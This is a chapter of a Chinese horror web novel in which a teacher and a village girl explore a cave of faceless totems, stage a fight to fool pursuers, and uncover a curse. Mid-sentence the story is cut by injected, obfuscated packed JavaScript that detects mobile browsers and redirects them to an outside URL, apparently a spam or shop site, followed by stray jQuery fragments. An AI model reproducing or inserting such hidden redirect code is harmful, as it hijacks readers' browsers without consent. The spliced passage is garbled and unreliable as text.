好怪异的图腾。
方雀从口袋里掏出一包一次性手套,拆开,套上双手,她仔细地触摸着图腾上的纹路,从凤凰华彩的尾羽,到足下腐烂的梧桐叶。
彩绘的画漆模糊,掉落了很多碎片,近乎看不清。
而高台之下振臂高呼的乌泱人群,无论位于祭台哪边,他们的脸庞都齐刷刷转向外侧,后背和脸部齐齐朝外,不符常理,分外诡异。
也是,这样破旧古朴的样式,想来也是几百年之前的作品,那时候的记录方式大多不写实。
可按理说,崇拜神明,信徒应是面朝祭台上是双头凤凰,又怎么会面朝外侧呢?
这倒像是在观者对视一样。
方雀感到一阵恶心,转头问红梅:“我刚才看到你搭的小窝棚了,你每晚都睡在那里,那你知道这个图腾的意思吗?”
红梅仍是瞪大眼睛,神情是无法装出来的惊惧,她有点哆嗦:“以前我来的时候,这里根本就没有这些壁画啊。”
方雀挑眉:“那之前是什么样的?”
红梅比划着:“就是很干净的石头,什么图案都没有。”
“真的?”
“是真的。”
方雀弯了弯眼睛:“要是还撒谎骗老师的话,老师死了,就不能给村子里捐钱了哦。”
红梅急了:“我这回说的是真的,之前真的没有这些图案!”
方雀若有所思,接过手电筒,光圈对准图腾。
冷硬的白光凝成一团,边缘被山壁曲化成崎岖的形状,方雀清楚地看到所有人的脸,全部呈现一块完整的凸起,没有五官。
每个人的身体都是紧绷的,像是被皮筋勒出的一根根淀粉肠。
方雀查看了其他图腾,亦是如此。
又是没有五官的人,有点意思,方雀想。
红梅有些不安,她扯了扯方雀的衣摆:“这里和我之前看的不一样,好奇怪,咱们还是走吧。”
方雀:“不救人了?”
红梅想说什么,最后还是没有吱声。
两人寸步不离,紧紧地在一处,要挪动就一起挪动。
山洞内潮湿的气息翻涌,引得有一股轻微的腐味开始漫延,方雀只能闭气,实在憋不住时再呼吸一口。
红梅个子矮,视角低,她右手抓着方雀的衣摆,左手沿着图腾上的纹路游走,不多时,她似乎是发现了什么,低声呼唤方雀。
方雀蹲下来,沿着红梅手指的方向看去。
那是两个奇形怪状的文字,线条扭转在一起,好似几条蚯蚓相互缠绕,首尾勾连。
红梅问:“这是什么?”
方雀想了想:“这是,育女。”
红梅惊讶:“育女?你怎么知道?”
“这是甲骨文的样式,你看。”方雀指着第一个字,“这个字的字形类似一个站立的人形,下方是一个倒置的婴儿,在古文字中表示生育。”
“而第二个字。”方雀沿着字形示意,“这是一个双手交叉在胸前,跪坐着的人,她的姿态端庄,是古文字中的女性形象特征。”
红梅恍然大悟:“真的像,真的是育女,这是媃凤庄供奉的,为什么会出现在山洞里?”
方雀:“你问我呢?”
红梅不吱声了。
方雀皱眉,道:“我在媃凤庄高墙外部的残砖上也看到了这两个字,一模一样。”
红梅倚进方雀怀里,方雀揽住她的肩膀,问:“你的朋友姐姐,回家之后一直念叨着请求育女宽恕?”
红梅答:“是的,她还一直做用刀砍自己的样子。”
方雀:“用刀砍?”
红梅重复了一遍动作,劈向自己的腹部,肩膀,大腿根处。
方雀学红梅的样子在自己身上比划,脸色愈发难看。
红梅问:“怎么了?”
方雀停住动作,捏了捏红梅的脸蛋,笑:“没什么。”
两人慢慢向山洞深处探进,方雀问:“你见过恶鬼吗?恶鬼长什么样?”
红梅:“没见过。”
“哦?”方雀惊讶,“那你怎么肯定恶鬼不会伤害你?”
红梅道:“因为哥哥是恶鬼的孩子,我是哥哥的妹妹,它不会伤害我的。”
这个理由真是把方雀逗笑了:“别装了吧。”
红梅面露惊讶:“老师为什么这样说?”
方雀伸手,给红梅来了一记脑瓜崩:“刚才不是都不装了吗?还有,你和奶奶一唱一和,让我午夜看见那个场景,不就是对我所有求吗?”
红梅牵着方雀的手一僵。
方雀拍拍她的手背:“这多简单啊,我是一个陌生客人,奶奶为什么要把家里那么重要的秘密告诉我呢?所以只有两种情况,要么是想把我吓跑,要么是对我有所图谋。”
“再者,你三番两次地向我透露山洞这个意象,说话说半截,神秘兮兮的,是想让我勾起好奇心吧。”方雀眼睛弯弯,“很显然,你成功了。”
红梅直愣愣地站在原地,脸上的神情出现了裂纹。
“我还以为这个办法很缜密呢。”红梅打哈哈,“为什么被看出来了?”
“还是那句话。”方雀捏了捏她的鼻尖,“因为你的演技太差了啊。”
红梅吃瘪。
方雀笑了,眼睛弯成两道月牙,大家总是夸赞方雀这样很漂亮,但是显得有些假,但方雀知道,每当她这样笑时,才是真正的开心。
感到快乐是一件很难的事,从她记事起,她几乎每天都会笑,几乎每天都很做很善良的事,收获了很多夸奖。
但她总是感到很空虚,她觉得笑是一种社交工具,而不能作为情感是表达。
她的灵魂仿佛缺少了一块,嗖嗖漏风。
朋友去世之前曾对她说,等她什么时候能常常感到开心和幸福,那就是她完整的时刻。
她从这个自以为手段高明的小姑娘身上获得了一点点愉悦感,简单来说,她被红梅可爱到了。
方雀俯身,温温柔柔的:“你想要老师帮我做什么?你尽管说,不用暗示引导老师啦。”
红梅摸了摸后脑勺,刚张开嘴,突然,她似乎是察觉到了什么,快速向山洞外看了一眼。
她没有回答方雀的问题,而是上前拉住方雀的手,倾斜身形,飞快地在她手心里写了几个字。
方雀手掌微微蜷缩,稍微一顿,突然勃然大怒,粗暴地扯起红梅的袖子,拉着她就要往外走,红梅双脚钉在地上,任方雀怎么拉扯,都纹丝不动。
方雀大声喊叫:“怎么?把我带到这里来做什么?快带我出去!”
红梅一脸认真:“我带老师来这里探险呀。”
“什么探险?小小年纪不学好,天天搞什么牛鬼蛇神,这里这么黑,吓死我了,快点走!”
她又去扯红梅的胳膊,红梅不动。
方雀深吸一口气,怒气冲冲:“你想干什么?”
红梅拿着手电筒的手臂垂下,光圈照映地面,青绿色的反光投上来,将她的半张面庞从浓墨般的漆黑中模糊勾勒出一个平面。
她慢慢抬起眼皮,一字一顿:“别想出去。”
方雀冷笑:“怎么?”
红梅一步一步向前,方雀慢慢后退,直到倚到山壁上。
红梅横眉冷对,语气陡然狠厉:“进了山洞,还想出去?做梦!”
方雀一愣,仿佛是愤怒到了极限一样,她高高扬起手。
啪!
红梅被打得偏过头去,脸蛋瞬间红肿起来。
“反了你了,竟敢跟我这么说话?”
方雀下手不轻,红梅嘴角流出一淌鲜血,表情疯癫,她指着方雀尖叫:“你这个贱人!竟敢打我?你找死!”
说罢,红梅野牛冲刺,一头顶上了方雀的肚子,方雀双腮痛得一鼓,抱住她的脑袋,大力甩到一旁。
红梅身体踉跄,跌跌撞撞扑上山壁。
她看着方雀,疾言厉色:“平时在学校里你就天天打我,欺负我,我真是受够你了,现在我把你带到山洞里,我告诉你,山洞里有恶鬼,恶鬼会杀了你的!”
方雀捂着肚子,一脸不屑:“就你?别做梦了,这世界上哪有鬼?想吓唬我,你还嫩了点!”
红梅哈哈大笑:“我已经做完仪式,你已经是恶鬼的猎物了,你马上就会死,真是恶有恶报。”
方雀暗骂一句,转身向山洞外走去。
浓黑的山洞光进不明,仿佛怪物的深渊大口。
突然,她仿佛是听到了什么一样,停下脚步,扭头看向身后。
登时,方雀双腿一软,跌坐在地,她的脸瞬间惨白如纸,全身僵直,冷汗肉眼可见地成股流下,连眨眼都不能。
空洞的风呜呜奏响,如同地狱里野鬼万哭。
红梅尖声大笑:“哈哈哈,坏人!坏人!你要死啦!”
方雀嘴唇哆嗦着,目眦欲裂,半晌,她终于从喉头挤出一声锋利的尖叫。
红梅关闭手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839364|191267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电筒,黑暗瞬间压迫下来。
紧接着是一声沉闷的砸响,方雀的叫声戛然而止。
万籁俱寂,落针可闻。
黑暗中,红梅举着一块大石头,她的眼睛闪烁着劫后余生的明亮,方雀蜷缩在乱石之后,噤若寒蝉。
方雀抱着膝盖,听红梅不断扑打着自己的衣服,疯了似的大笑:“让你天天欺负我,恶有恶报!恶有恶报!”
红梅手舞足蹈地跑出山洞,方雀听见她跑远的声音。
咚咚咚的回响在山洞中回荡,她缩在石堆后,呼吸都放轻。
山洞外有脚步离开的细微的声音,方雀耳尖一动,放下心来。
红梅很是谨慎,因为过了良久,手电筒白光圈才再度出现,红梅探出头来,轻声:“方老师,他们走了,你可以出来了。”
方雀爬出来,拍拍身上的灰。
红梅感叹:“老师的演技真是太好了,就跟真的看到鬼了一样。”
方雀:“小意思。”
两人不能再待在山洞里了,于是找了一处一人高是密草丛。
方雀轻轻碰了一下红梅的脸:“我下手太重了,特别疼吗?”
红梅嘻嘻笑:“没事,不打得狠一点,他们又怎么会相信呢?”
“媃凤庄的人怎么会来这?”方雀问。
红梅用草棍在地上画画:“奶奶说,媃凤庄人每月都要抓到两个年轻女子才能举行祭祀,如果那个姐姐是第一个,那么他们就还需要一个。”
红梅看着方雀:“他们可能是发现了你的存在,想来抓你。”
“不过周边的村子都在传,如果谁成为了恶鬼的猎物,那么就一定会死在山洞里,其他人不能进山洞带走尸体,否则就是不敬。”
方雀:“原来是这样,所以你让我和我打架然后装死。”
红梅竖起大拇指:“不过老师你的反应真的好快,我就不行。”
“你要是行,我就不会察觉出你的意图了。”方雀也薅了根草棍玩,“说说吧,你想让我做什么?”
红梅看着方雀,犹豫了一下,她扒开自己的衣领,露出脖颈上的累累伤痕。
高领的衣服将她的脖子挡得严严实实,而一旦露出来,方雀便一眼就看到了她脖子上添的新鲜伤疤。
刚刚结痂的伤口还是鲜红色,下面残留着干涸的血迹,伤口边缘粗糙,是粗麻绳硬生生磨出来的。
她又拉起衣袖和裤腿,手腕上,脚腕上的伤同样惨烈惊心。
方雀倒吸一口凉气:“这是怎么弄的?”
红梅整理好衣服,低声说道:“每天早上,我身上都会添一道这样的伤,我最开始怀疑是家里进贼了,奶奶守了好几天的夜,却连一个贼影子都没有。”
“后来我又怀疑是哥哥趁我睡着后偷偷用麻绳勒的,但这伤口这么深,我又怎么会不被痛醒,后来我好几夜都没睡觉,第二天还是会添伤。”
“这真是太奇怪了,而且自从我看到哥哥吃人后,我的脑子里就一直有声音,我害怕,才住到山洞旁边,虽然每早还会受伤,但至少不会被那些声音纷扰了。”
“你说那是诅咒。”
红梅似乎有些崩溃,她抱住脑袋:“是诅咒,因为那不是杂音,而是一个男人的声音,他一直在告诉我,我会在路边捡到一个女人,那个女人会帮我走出噩梦。”
方雀指向自己:“我吗?”
“我不知道。”红梅在抖,“但我只在路边捡到了你一个人,我觉得是你,所以才把你带回家,让你看到那样的画面。”
方雀:“为什么?”
“因为是他让我这么做的,我让奶奶告诉你午夜看院子,我再告诉你千万不要看,那么你就一定会去看。”
方雀笑了,她换了个盘腿的姿势:“为什么这么肯定?”
红梅回答:“是那个男人告诉我的,而且今天就算你不主动提出来山洞,我也会想法设法带你来的。”
方雀摸下巴,点头:“那你现在跟我袒露这些事,也是那个男人让的?”
红梅没有反应,算是默认。
方雀双手托腮,琢磨一番:“那之前你说你看到了哥哥吃人,也是假的咯?”
听闻此话,红梅竟全身一抖。
方雀掰草根玩,头顶却传来红梅因极度恐惧而发滞的声音。
“不...”红梅敛声屏气,喉咙仿佛被千钧重石压住了,“我真的看见了,而且他...”
“他吃的是我。”